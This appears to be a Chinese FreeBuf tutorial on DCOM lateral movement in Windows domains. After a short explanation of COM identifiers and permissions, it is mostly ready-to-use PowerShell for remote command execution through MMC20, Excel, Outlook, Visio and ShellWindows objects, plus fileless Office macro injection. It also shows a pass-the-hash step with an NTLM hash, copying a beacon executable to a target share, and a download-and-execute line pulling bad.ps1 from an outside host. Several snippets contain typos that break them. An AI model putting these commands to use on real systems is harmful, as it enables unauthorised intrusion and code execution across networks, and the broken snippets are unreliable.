官方公众号 企业安全 新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。
前言
DCOM是 COM (组件对象模型)的扩展,它允许应用程序实例化和访问远程计算机上COM对象的属性和方法,就像使用基于DCERPC的DCOM协议在本地计算机上的对象一样。有关每个COM(和DCOM)对象的标识,实现和配置的信息存储在注册表中,并与一些重要的标识符相关联:
CLSID
-所述类标识符是一个GUID,它充当一个COM类的唯一标识符,并且每一个在Windows注册类与CLSID相关联(COM对象可以在没有登记使用,但是这超出了本文的范围) 。注册表中的CLSID密钥指向类的实现,如果是基于dll的对象,则使用InProcServer32子项;如果是exe ,则使用LocalServer32项。
ProgID
-该编程标识符是一个可选的标识符,其可被用作对用户更友好的替代一个CLSID,因为它不必坚持的CLSID的恐吓GUID格式(“System.AppDomainManager”,例如,是比GUID容易得多)。ProgID不能保证是唯一的,并且与CLSID不同,并非每个类都与ProgID相关联。
-该应用程序标识符用于指定一个的配置或多个COM对象与同一可执行相关联。这包括授予各个组的权限,以在本地和远程实例化和访问关联的类
为了使DCOM可访问COM对象,必须将AppID与该类的CLSID关联,并且需要为该AppID提供适当的权限。没有关联的AppID的COM对象不能从远程计算机直接访问。
在powershell中我们可以使用
get-CimInstance来列出本地COM程序列表
也可以使用OleView .NET了来列出
远程DCOM对象的实例表现如下:
客户端计算机从远程计算机请求实例化由CLSID表示的对象。如果客户端使用ProgID,则首先将其本地解析为CLSID。 远程计算机检查是否存在与所讨论的CLSID关联的AppID,并验证客户端的权限。 如果一切顺利,则DCOMLaunch服务将创建所请求类的实例,通常是通过运行LocalServer32子项的可执行文件,或者通过创建DllHost进程来承载InProcServer32子项引用的dll。 在客户端应用程序和服务器进程之间建立通信。在大多数情况下,新过程是在与DCOM通信关联的会话中创建的。 然后,客户端可以访问新创建的对象的成员和方法。
所以我们给出的思路就是找到一些默认权限(DefaultLaunchPermission)的COM程序来进行利用
可以利用的DCOM
1.EXCEL DDE
$a = [activator]::CreateInstance([type]::GetTypeFromprogID("Excel.Application","10.10.10.10"))
使用DDEInitate(“cmd.exe”,"/c calc,exe")
但是目标主机会有一个提示。所以我们需要关闭它
最后的利用手法是:
$a = [activator]::CreateInstance([type]::GetTypeFromprogID("Excel.Application","10.10.10.10")) $a.DisplayAlerts = $false //DisplayAlerts属性控制DDEInitiate提出的警报。 false为关 $a.DDEInitiate("cmd","/c calc,exe")
Excel进程运行我们的命令,并尝试与所述应用程序建立DDE通道。失败时返回错误代码,但命令仍在运行。
2. MMC20.APPLICATION
创建“ MMC20.Application ”对象的实例并利用:
[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application" ,"10.10.10.10")).Document.ActiveView.Executeshellcommand('cmd.exe',$null,"/c calc.exe","Restored")
3. SHELLWINDOWS
$a = [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","10.10.10.10")) | Get-member
$a = [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","10.10.10.10")).Document.Application.ShellExecute("cmd.exe","/c clac.exe"."c:\windows32\system",$null,0)

4.SHELLBROWSERWINDOW

$a = [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","10.10.10.10"))

$a = [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","10.10.10.10")).Document.Application.shellExecute("calc.exe")

5.VISIO ADDON EXECUTION
$a = [activator]::CreateInstance([type]::GetTypeFromProgID("Visio.Application","10.10.10.10"))

$a = [activator]::CreateInstance([type]::GetTypeFromProgID("Visio.Application","10.10.10.10")).[0].document.app;ication.shellExecute("calc")
6. Outlook
$a = [activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.APPLICATION","10.10.10.10"))
$a = [activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.APPLICATION","10.10.10.10")) .createObject("Shell.Application") $a.shellExecute(calc.exe)
7. Excel XLL ( Excel进程加载恶意的DLL)
$a = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.APPLICATION","10.10.10.10")) .RegisterXLL("我们的恶意DLL路径")
8.任意脚本执行
$a = [activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.APPLICATION","10.10.10.10")) .CreateObject("b") $b.language = "VBScript" $b.AddCode('CreateObject("Wcript.Shell").Exec("Calc.exe")')
$a = [activator]::CreateInstance([type]::GetTypeFromProgID("a.invisibleapp","10.10.10.10")) $b = $a.documents.Add("") $b.Executeline('CreateObject("wscript.Shell").exec("calc.exe")')
VBE7.dll和ScrRun.dll已加载到Visio进程中
注意 -ExecuteLine方法仅允许执行一行代码。通过使用冒号(:)符号将语句分隔在一行上,可以绕过此操作。
9.OFFICE无文件宏执行
$a = 'Sub Execute()' CreateObject("Wscript.Shell").Exec("calc.exe") End Sub Sub AutoOpen() Excute end Sub'
$b = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.application")) $c = $b.Workbooks.Add("") $c.VBProject.VBComponents(1).codeModule.ADDFromString($a) //注意:这里加载我们上面的宏代码 $b.run("Book1!ThisWorkbook.Execute") $b.Quit()
$b = [activator]::CreateInstance([type]::GetTypeFromProgID("word.application")) $c = $b.Documents.Add("") $c.VBProject.VBComponents(1).codeModule.ADDFromString($a) //注意:这里加载我们上面的宏代码 $c.runAutoMacro(2) $b.Quit()
$ppt = [activator]::CreateInstance([type]::GetTypeFromProgID("Powerpoint.Applicatiion")) $pres = $ppt.Presentations.add(1) $vbs = $pres.VBProject.VbComponents.add(1) $vbs.CodeModule.AddFromString($a) $ppt.Run("Execute") $ppt.Quit()
$access = [activator]::CreateInstance([type]::GetTypeFromProgID("access.Application")) $db = $access.NewCurrentDatbase("Fake_name") $vbc = access.vbe,V8projects(1).VBSComponents.Add(1) $vbc.CodeModule.AddFromString($a) $access.Run("Execute") $access.Quit()
横向移动--使用MMC20.APPLICATION COM对象复现
基础知识
PowerShell构建与.NET Framework之上,而框架已经提供了对COM的近乎完美的支持。 如可以用.NET的机制获取封装COM对象的.NET的类型,用Activator类创建这个类的实例。
PS C:\Windows\system32> $a = [type]::GetTypeFromProgID("MMC20.application") // 从GetTypeFromProgID()方法取回的类型的别名称之为“-ComObject” PS C:\Windows\system32> $a //可以看到读取回来了 //所有的COM对象都是被封装为这个类型

PS C:\Windows\system32> $b = [activator]::createInstance($a) //通过Activator类的CreateInstance()方法来实例化一个对像 Activator对象用来创建.NET对象 PS C:\Windows\system32> $b

PS C:\Windows\system32> $b | get-Member //get-Member cmdlet获取对象的成员,属性和方法

Get-cimInstance win32_Dcomapplication

Get-WmiObject -nameSpace root\cimv2 -class win32_dcomapplication


beacon>shell powershell.exe Get-WmiObject -nameSpace root\cimv2 -class win32_dcomapplication //目标机器是Windows7 也就是powershell2.0 所以我们使用 Get-WmiObject -nameSpace root\cimv2 -class

使用MMC20.APPLICATION COM对象
https://docs.microsoft.com/en-us/previous-versions/system-center/configuration-manager-2003/cc181199(v=technet.10)?redirectedfrom=MSDN
Microsoft管理控制台(MMC)2.0包括脚本对象模型。 该对象模型可用于控制大多数SMS Administrator控制台功能。 通过使用WSH SendKeys对象(可以模拟键盘输入),可以控制MMC 2.0脚本对象模型无法控制的任何功能。 如果可以通过键盘控制该功能,则SendKeys可以对其进行控制。SendKeys可用于控制大多数SMS Administrator控制台,但是MMC 2.0脚本对象模型通常更可靠。 如果由于任何原因导致Windows焦点从SMS管理员控制台转移,则可以将SendKeys定向到错误的应用程序。
PS C:\Windows\system32> [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application")) | Get-member //根据前面“任何使用PowerShell进行通信” 我们可以构造这样的语句
[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application")).Document | Get-member

[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application")).Document.ActiveView | Get-member

ExecuteShellCommand Method void ExecuteShellCommand (string, string, string, string)

参量 一个值,指定要执行的命令。可以指定标准路径。Command中包含的所有环境变量(例如“%windir%”)都将被扩展。 一个值,用于指定工作目录的名称。Directory中包含的所有环境变量都将被扩展。如果“目录”为空字符串,则将当前目录用作工作目录。 一个指定Command要使用的参数(如果有)的值;参数必须用空格分隔。例如,将参数指定为“ Param1 Param2”会导致Command接收Param1和Param2作为参数。如果要求单个参数用双引号引起来,请使用适合您的编程语言的技术。例如,在Microsoft Visual Basic中,将参数指定为“ Param1”“这是Param2”“”导致命令接收到参数1和“这是Param2”。 一个指定窗口状态的值。该值可以是以下字符串值之一,也可以是空字符串。如果为空字符串,则默认为“已恢复”。 “Maximized” 该命令在最大化的窗口中执行。 “Minimized” 该命令在最小化的窗口中执行。 “Restored” 该命令在已恢复或正常的窗口中执行。注意:这里会弹个黑框框 此方法不返回值。
ExecuteShellCommand([命令][目录][叁数][窗口状态])
[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application")).Document.ActiveView.Executeshellcommand('cmd.exe',$null,"/c calc.exe","Restored")

2.0远程利用执行命令(横向移动)
GetTypeFromProgID
()"与PowerShell进行DCOM远程交互。注意:远程执行命令需要与目标进行Kerberos v5身份验证,认证之后才能进行通信。
GetTypeFromProgID("COM","远程ip")
[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application" ,“远程ip”)).Document.ActiveView.Executeshellcommand('cmd.exe',$null,"/c calc.exe","Restored") //在远程主机上利用MMC.app;ication执行弹出计算器
拿下的主机 ip:10.10.10.8(内网) 192.168.50.148(外网) 横向的目标主机ip:10.10.10.10
[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application" ,"10.10.10.10")).Document.ActiveView.Executeshellcommand('cmd.exe',$null,"/c calc.exe","Restored")

3.0实战手法
administrator权限 具有信任公系
beacon>mimikatz sekurlsa::pth /domian:10.10.10.10 /user:administrator /ntlm:161cff084477fe596a5db81874498a24

beacon>shell dir \\10.10.10.10\c$ //列出远程主机的目录 如果成功就表示IPC$链接了




beacon> shell copy C:\Users\administrator.WEB\Desktop\beacon123.exe \\10.10.10.10\c$


[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application","10.10.10.10")).Document.ActiveView.Executeshellcommand('powershell.exe',$null,"IEX(New-Object Net.WebClinet).DownloadString('http://www.cn0sec.cn/bad.ps1')","Restored")
作用

此值提供了对默认启动访问的简单级别的集中管理,该默认启动访问是对计算机上其他未管理的类的访问。 例如,管理员可以使用DCOMCNFG工具将系统配置为允许超级用户进行只读访问。 因此,OLE会将启动类代码的请求限制为Power Users组的成员。管理员随后可以为单个类配置启动权限,以根据需要向其他组或单个用户授予启动类代码的能力 默认访问权限如下: 管理员:允许启动 系统:允许启动 互动:允许启动 https://docs.microsoft.com/zh-cn/windows/win32/com/defaultlaunchpermission
总结
- 0 文章数
- 0 评论数
- 0 关注者
请 登录 / 注册 后在FreeBuf发布内容哦